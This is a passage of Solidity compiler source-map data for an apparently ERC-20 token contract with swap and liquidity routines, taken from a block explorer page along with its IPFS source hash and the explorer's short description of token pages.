;27469:18;;27293:21;;;;27272:18;;27469:22;;27490:1;;27469:22;:::i;:::-;27448:44;;:17;:44;:::i;:::-;27412:18;;27399:31;;:10;:31;:::i;:::-;27398:95;;;;:::i;:::-;27372:121;;27504:17;27610:1;27589:18;;:22;;;;:::i;:::-;27568:44;;:17;:44;:::i;:::-;27538:12;;27525:25;;:10;:25;:::i;:::-;27524:89;;;;:::i;:::-;27504:109;-1:-1:-1;27643:27:0;27504:109;27643:15;:27;:::i;:::-;27624:46;;;;:::i;:::-;27702:1;27681:18;:22;;;27714:18;:22;;;27747:12;:16;;;27774:17;:21;27624:46;-1:-1:-1;27812:19:0;;;;;:42;;;27853:1;27835:15;:19;27812:42;27808:121;;;27871:46;27884:15;27901;27871:12;:46::i;:::-;27949:9;;27941:38;;-1:-1:-1;;;;;27949:9:0;;;;27941:38;;;;;27969:9;;27949;27941:38;27949:9;27941:38;27969:9;27949;27941:38;;;;;;;;;;;;;;;;;;;;-1:-1:-1;27998:15:0;;27990:56;;-1:-1:-1;;;;;27998:15:0;;;;28024:21;27990:56;;;;;27998:15;27990:56;27998:15;27990:56;28024:21;27998:15;27990:56;;;;;;;;;;;;;;;;;;;;;26491:1563;;;;;;;26463:1591::o;6773:651::-;-1:-1:-1;;;;;6913:20:0;;6905:70;;;;-1:-1:-1;;;6905:70:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6994:23:0;;6986:71;;;;-1:-1:-1;;;6986:71:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;7094:17:0;;7070:21;7094:17;;;:9;:17;;;;;;7144:23;;;;7122:111;;;;-1:-1:-1;;;7122:111:0;;16648:2:1;7122:111:0;;;16630:21:1;16687:2;16667:18;;;16660:30;16726:34;16706:18;;;16699:62;-1:-1:-1;;;16777:18:1;;;16770:36;16823:19;;7122:111:0;16446:402:1;7122:111:0;-1:-1:-1;;;;;7269:17:0;;;;;;;:9;:17;;;;;;7289:22;;;7269:42;;7333:20;;;;;;;;:30;;7305:6;;7269:17;7333:30;;7305:6;;7333:30;:::i;:::-;;;;;;;;7398:9;-1:-1:-1;;;;;7381:35:0;7390:6;-1:-1:-1;;;;;7381:35:0;;7409:6;7381:35;;;;1592:25:1;;1580:2;1565:18;;1446:177;7381:35:0;;;;;;;;6894:530;6773:651;;;:::o;23004:235::-;-1:-1:-1;;;;;23120:35:0;;;;;;:25;:35;;;;;;;;;:49;;-1:-1:-1;;23120:49:0;;;;;;;;;;23185:46;;17021:51:1;;;17088:18;;;17081:50;23185:46:0;;16994:18:1;23185:46:0;;;;;;;23004:235;;:::o;7432:440::-;-1:-1:-1;;;;;7518:21:0;;7510:57;;;;-1:-1:-1;;;7510:57:0;;17344:2:1;7510:57:0;;;17326:21:1;17383:2;17363:18;;;17356:30;17422:25;17402:18;;;17395:53;17465:18;;7510:57:0;17142:347:1;7510:57:0;-1:-1:-1;;;;;7596:18:0;;7578:15;7596:18;;;:9;:18;;;;;;7633:17;;;;7625:63;;;;-1:-1:-1;;;7625:63:0;;17696:2:1;7625:63:0;;;17678:21:1;17735:2;17715:18;;;17708:30;17774:34;17754:18;;;17747:62;-1:-1:-1;;;17825:18:1;;;17818:31;17866:19;;7625:63:0;17494:397:1;7625:63:0;-1:-1:-1;;;;;7724:18:0;;;;;;:9;:18;;;;;;;;7745:16;;;7724:37;;7776:12;:22;;;;;;;7827:37;1592:25:1;;;7724:18:0;;;7827:37;;1565:18:1;7827:37:0;1446:177:1;25983:472:0;26073:16;;;26087:1;26073:16;;;;;;;;26049:21;;26073:16;;;;;;;;;;-1:-1:-1;26073:16:0;26049:40;;26118:4;26100;26105:1;26100:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26100:23:0;;;:7;;;;;;;;;;:23;;;;26144:15;;:22;;;-1:-1:-1;;;26144:22:0;;;;:15;;;;;:20;;:22;;;;;26100:7;;26144:22;;;;;:15;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;26134:4;26139:1;26134:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;26134:32:0;;;:7;;;;;;;;;:32;26209:15;;26177:62;;26194:4;;26209:15;26227:11;26177:8;:62::i;:::-;26250:15;;:197;;-1:-1:-1;;;26250:197:0;;-1:-1:-1;;;;;26250:15:0;;;;:66;;:197;;26331:11;;26250:15;;26374:4;;26401;;26421:15;;26250:197;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;26038:417;25983:472;:::o;13382:369::-;13495:15;;13463:62;;13480:4;;-1:-1:-1;;;;;13495:15:0;13513:11;13463:8;:62::i;:::-;13536:15;;:207;;-1:-1:-1;;;13536:207:0;;13609:4;13536:207;;;19742:34:1;19792:18;;;19785:34;;;13536:15:0;19835:18:1;;;19828:34;;;19878:18;;;19871:34;13695:6:0;19921:19:1;;;19914:44;13717:15:0;19974:19:1;;;19967:35;-1:-1:-1;;;;;13536:15:0;;;;:31;;13575:9;;19676:19:1;;13536:207:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;13382:369;;:::o;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:315::-;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1628:247::-;1687:6;1740:2;1728:9;1719:7;1715:23;1711:32;1708:52;;;1756:1;1753;1746:12;1708:52;1795:9;1782:23;1814:31;1839:5;1814:31;:::i;1880:456::-;1957:6;1965;1973;2026:2;2014:9;2005:7;2001:23;1997:32;1994:52;;;2042:1;2039;2032:12;1994:52;2081:9;2068:23;2100:31;2125:5;2100:31;:::i;:::-;2150:5;-1:-1:-1;2207:2:1;2192:18;;2179:32;2220:33;2179:32;2220:33;:::i;:::-;1880:456;;2272:7;;-1:-1:-1;;;2326:2:1;2311:18;;;;2298:32;;1880:456::o;2341:180::-;2400:6;2453:2;2441:9;2432:7;2428:23;2424:32;2421:52;;;2469:1;2466;2459:12;2421:52;-1:-1:-1;2492:23:1;;2341:180;-1:-1:-1;2341:180:1:o;2526:385::-;2612:6;2620;2628;2636;2689:3;2677:9;2668:7;2664:23;2660:33;2657:53;;;2706:1;2703;2696:12;2657:53;-1:-1:-1;;2729:23:1;;;2799:2;2784:18;;2771:32;;-1:-1:-1;2850:2:1;2835:18;;2822:32;;2901:2;2886:18;2873:32;;-1:-1:-1;2526:385:1;-1:-1:-1;2526:385:1:o;3313:416::-;3378:6;3386;3439:2;3427:9;3418:7;3414:23;3410:32;3407:52;;;3455:1;3452;3445:12;3407:52;3494:9;3481:23;3513:31;3538:5;3513:31;:::i;:::-;3563:5;-1:-1:-1;3620:2:1;3605:18;;3592:32;3662:15;;3655:23;3643:36;;3633:64;;3693:1;3690;3683:12;3633:64;3716:7;3706:17;;;3313:416;;;;;:::o;3734:383::-;3811:6;3819;3827;3880:2;3868:9;3859:7;3855:23;3851:32;3848:52;;;3896:1;3893;3886:12;3848:52;3935:9;3922:23;3954:31;3979:5;3954:31;:::i;:::-;4004:5;4056:2;4041:18;;4028:32;;-1:-1:-1;4107:2:1;4092:18;;;4079:32;;3734:383;-1:-1:-1;;;3734:383:1:o;4122:388::-;4190:6;4198;4251:2;4239:9;4230:7;4226:23;4222:32;4219:52;;;4267:1;4264;4257:12;4219:52;4306:9;4293:23;4325:31;4350:5;4325:31;:::i;:::-;4375:5;-1:-1:-1;4432:2:1;4417:18;;4404:32;4445:33;4404:32;4445:33;:::i;4515:380::-;4594:1;4590:12;;;;4637;;;4658:61;;4712:4;4704:6;4700:17;4690:27;;4658:61;4765:2;4757:6;4754:14;4734:18;4731:38;4728:161;;4811:10;4806:3;4802:20;4799:1;4792:31;4846:4;4843:1;4836:15;4874:4;4871:1;4864:15;4728:161;;4515:380;;;:::o;4900:356::-;5102:2;5084:21;;;5121:18;;;5114:30;5180:34;5175:2;5160:18;;5153:62;5247:2;5232:18;;4900:356::o;6029:127::-;6090:10;6085:3;6081:20;6078:1;6071:31;6121:4;6118:1;6111:15;6145:4;6142:1;6135:15;6161:168;6234:9;;;6265;;6282:15;;;6276:22;;6262:37;6252:71;;6303:18;;:::i;6334:217::-;6374:1;6400;6390:132;;6444:10;6439:3;6435:20;6432:1;6425:31;6479:4;6476:1;6469:15;6507:4;6504:1;6497:15;6390:132;-1:-1:-1;6536:9:1;;6334:217::o;6966:125::-;7031:9;;;7052:10;;;7049:36;;;7065:18;;:::i;12859:401::-;13061:2;13043:21;;;13100:2;13080:18;;;13073:30;13139:34;13134:2;13119:18;;13112:62;-1:-1:-1;;;13205:2:1;13190:18;;13183:35;13250:3;13235:19;;12859:401::o;13265:399::-;13467:2;13449:21;;;13506:2;13486:18;;;13479:30;13545:34;13540:2;13525:18;;13518:62;-1:-1:-1;;;13611:2:1;13596:18;;13589:33;13654:3;13639:19;;13265:399::o;14782:128::-;14849:9;;;14870:11;;;14867:37;;;14884:18;;:::i;18028:127::-;18089:10;18084:3;18080:20;18077:1;18070:31;18120:4;18117:1;18110:15;18144:4;18141:1;18134:15;18160:251;18230:6;18283:2;18271:9;18262:7;18258:23;18254:32;18251:52;;;18299:1;18296;18289:12;18251:52;18331:9;18325:16;18350:31;18375:5;18350:31;:::i;18416:980::-;18678:4;18726:3;18715:9;18711:19;18757:6;18746:9;18739:25;18783:2;18821:6;18816:2;18805:9;18801:18;18794:34;18864:3;18859:2;18848:9;18844:18;18837:31;18888:6;18923;18917:13;18954:6;18946;18939:22;18992:3;18981:9;18977:19;18970:26;;19031:2;19023:6;19019:15;19005:29;;19052:1;19062:195;19076:6;19073:1;19070:13;19062:195;;;19141:13;;-1:-1:-1;;;;;19137:39:1;19125:52;;19232:15;;;;19197:12;;;;19173:1;19091:9;19062:195;;;-1:-1:-1;;;;;;;19313:32:1;;;;19308:2;19293:18;;19286:60;-1:-1:-1;;;19377:3:1;19362:19;19355:35;19274:3;18416:980;-1:-1:-1;;;18416:980:1:o;20013:306::-;20101:6;20109;20117;20170:2;20158:9;20149:7;20145:23;20141:32;20138:52;;;20186:1;20183;20176:12;20138:52;20215:9;20209:16;20199:26;;20265:2;20254:9;20250:18;20244:25;20234:35;;20309:2;20298:9;20294:18;20288:25;20278:35;;20013:306;;;;;:::o

Swarm Source

ipfs://c954d21e6a9e545e88a8515a37f034e4d80f04f59b7009414b47c7ec4a4f9461
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.